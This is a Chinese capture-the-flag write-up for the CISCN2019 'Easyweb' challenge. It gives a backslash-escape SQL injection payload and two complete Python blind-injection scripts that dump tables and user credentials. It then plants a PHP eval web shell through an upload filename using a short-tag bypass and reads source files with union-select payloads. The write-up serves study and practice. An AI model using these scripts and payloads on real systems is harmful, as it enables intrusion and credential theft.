[CISCN2019 总决赛 Day2 Web1]Easyweb
打开网页发现登录页面,先扫描目录试试,发现/robots.txt
,查看robots.txt
:
User-agent: *
Disallow: *.php.bak
方法一 寻找备份文件
发现源码有备份,但我们并不知道源码文件的名字是什么,按F12
,发现图片与一个带有id
的php
文件有关,尝试下载image.php.bak
,得到image.php
:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
查询PHP手册:
addslashes
(PHP 4, PHP 5, PHP 7, PHP 8)
addslashes — 使用反斜线引用字符串,返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号('
)、双引号("
)、反斜线(\
)与 NUL(null 字符)。
str_replace(array("\\0","%00","\\'","'"),"",$id);
表示id
里面的\0
,%00
,\'
,'
会被替换掉。如果我们想让我们的sql查询语句生效,就必须让
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
这句话里面的其中一个带引号逃逸变成一个字符,所以需要\'
这样的结构,考虑到str_replace
给id
和path
做了替换,所以我们可以构造:id=\0
(这里的\
已经被转义了,\
、0
是两个字符),id
经过addslashes
后变为\\0
,在经过str_replace
替换后变为\
,所以sql语句变为:
select * from images where id='\' or path='{$path}'
此时,id
变为\' or path=
,所以path
可以随便设置为任何sql查询语句。id为\' or path=
肯定查询出错,所以我们可以设置path
为or ascii(substr(database(),{},1))>{}%23
,一个字符一个字符查询,如果结果正确,页面就会返回一张猫猫的图片,图片中包含JFIF
关键词,我们可以通过页面是否返回JFIF
判断是否查询成功,编写python
脚本:
import requests
Original_url = "http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/image.php?id=\\0&path="
Success_message = "JFIF"
database_name_payload = " or ascii(substr(database(),{},1))>{}%23"
table_name_payload = " or if((select/**/ascii(substr(group_concat(table_name),{},1))/**/from/**/information_schema.tables/**/where/**/table_schema=database())>{},1,0)%23"
column_name_payload = " or if((select/**/ascii(substr(group_concat(column_name),{},1))/**/from/**/information_schema.columns/**/where/**/table_schema=database())>{},1,0)%23"
def getname(payload):
name = ''
for i in range(1, 100):
begin = 32
end = 126
mid = (begin + end) // 2
while begin < end:
url = Original_url + payload.format(i,mid)
RowText = requests.get(url, timeout=100)
if Success_message in RowText.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if (mid == 32):
print()
break
name += chr(mid)
if "table_name" in payload:
print("\r表名: " + name, end="")
elif "column_name" in payload:
print("\r字段名: " + name, end="")
else:
print("\r数据库名: " + name, end="")
def GetData(table_name, column_name):
data = ''
for i in range(1, 100): #数据的第i位
begin = 32
end = 126
mid = (begin + end) // 2 #取整除,返回商的整数部分(向下取整)
while begin < end:
url = Original_url + ' or if(ascii(substr((select/**/{}/**/from/**/{}),{},1)) > {},1, 0)%23'.format(column_name, table_name, i, mid)
RowText = requests.get(url, timeout=100)
if Success_message in RowText.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if (mid == 32):
print()
break
data += chr(mid)
print(("\r表%s的字段%s数据: " + data) % (table_name, column_name), end="")
getname(database_name_payload)
getname(table_name_payload)
getname(column_name_payload)
GetData("users", "username")
GetData("users", "password")
输出:
数据库名: ciscnfinal
表名: images,users
字段名: id,path,username,password
表users的字段username数据: admin
表users的字段password数据: acccc7e9835270337236
在网页首页输入账号密码,进入文件上传页面,随便上传一个文件,网页回显:
I logged the file name you uploaded to logs/upload.b030468cde3a4f3546849663143ed168.log.php. LOL
网页提示把文件名放在了日志文件里面,而且这个日志文件是php
文件,所以我们可以通过一句话木马作为文件名上传到日志文件,然后用蚁剑连接。随便上传一个文件,然后用Burp Suite
拦截,把文件名filename
修改为<?php @eval($_POST["a"]);?>
。发送请求后,网页提示You cant upload php file.
,可以使用短标签绕过,即<?=@eval($_POST['a']);?>
,随便上传一个文件,然后用Burp Suite
拦截,把文件名filename
修改为<?=@eval($_POST['a']);?>
,最后显示上传成功。
php的配置文件(php.ini)中有一个short_open_tag
的值,PHP开启短标签即short_open_tag=on
时,可以使用<?=$_?>
输出变量,短标签<? ?>
需要php.ini
开启short_open_tag = On
,但<?= ?>
不受该条控制。
<? ?>
相当于<?php ?>
<?= ?>
相当于<?php echo ?>
References
[CISCN2019 总决赛 Day2 Web1]Easyweb
php 短标记 short_open_tag_h3110n3w0r1d-CSDN博客
利用蚁剑空白区域右击添加数据,设置如下:
URL地址 http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/logs/upload.b030468cde3a4f3546849663143ed168.log.php
连接密码 a
网站备注
编码设置 UTF8
连接类型 PHP
其他不变。密码可以随便设置,但要跟$_POST["a"]
一致。
连接后查看网站根目录的flag
文件,得到flag
。
References
刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb
[CISCN2019 总决赛 Day2 Web1]Easyweb && [GXYCTF2019]禁止套娃_crispr的博客-CSDN博客
方法二 读取源码
通过注入伪造下载地址,读取image.php
,将image.php
转化为16进制:0x696d6167652e706870
,输入url:
/image.php?id=\0&path=union select 1,0x696d6167652e706870--+
References
[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)
得到image.php
源码:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$sql="select * from images where id='{$id}' or path='{$path}'";
if (preg_match("/load/i",$sql))
{
die("What's your problem?");
}
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
//secure the path
$count=preg_match("/(\.\.)|(config)/i",$row["path"]);
if ($count>0)
{
die("What's your problem?");
}
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
查看登录页面源码发现还有user.php
文件,再次尝试读取user.php
,输入url:
/image.php?id=\0&path=union select 1,0x757365722e706870--+
得到user.php
源码:
<?php
include "config.php";
include "function.php";
$username="";
if (!is_login() && !isset($_POST["username"]) && !isset($_POST["password"]))
{
header('Location: index.php');
die;
}
if ($username==="")
{
$stmt=$con->prepare("select * from users where username=?");
$stmt->bind_param("s",$_POST["username"]);
$stmt->execute();
$result=$stmt->get_result();
$row=$result->fetch_assoc();
if ($row["password"]===$_POST["password"])
{
$username=$_POST["username"];
setcookie("username",encode($username,$secret));
}
else
{
header('Location: index.php');
die;
}
}
$admin_html=<<<EOF
Hello, admin!
<form action="upload.php" method="post"enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
EOF;
if ($username!=="admin")
{
echo "Hello, {$username}, if you are admin, I will give you a surprise.";
}
else
{
echo $admin_html;
}
发现select * from users where username=?
查询语句,说明表users
里面有字段username
,所以尝试获取username
,通过python
脚本sql注入获得user
和password
:
import requests
url = "http://8a27ee65-4230-4cf4-b6fe-0a941a66310d.node4.buuoj.cn:81/image.php"
result = ''
for x in range(0, 100):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#password
#payload = " or id=if(ascii(substr((select password from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
#users
payload = " or id=if(ascii(substr((select username from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\0',
'path':payload
}
response = requests.get(url, params=params)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32):
print()
break
result += chr(int(mid))
print("\r", result, end="")
References
[CISCN2019 总决赛 Day2 Web1]Easyweb && [GXYCTF2019]禁止套娃_crispr的博客-CSDN博客
然后就是跟方法一,一样的步骤。
补充:user.php
中又发现function.php
,读取源码,输入url:
/image.php?id=\0&path=union select 1,0x66756e6374696f6e2e706870--+
得到function.php
源码:
<?php
function encode($str,$key)
{
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return base64_encode($tmp);
}
function decode($str,$key)
{
$str=base64_decode($str);
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return $tmp;
}
function is_login()
{
global $username,$secret;
if (!isset($_COOKIE["username"]))
return false;
$username=decode($_COOKIE["username"],$secret);
return true;
}
function get_real_ip() {
$ip = false;
if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) {
array_unshift($ips, $ip);
$ip = FALSE;}
for ($i = 0; $i < count($ips); $i++) {
if (!eregi("^(10│172.16│192.168).", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}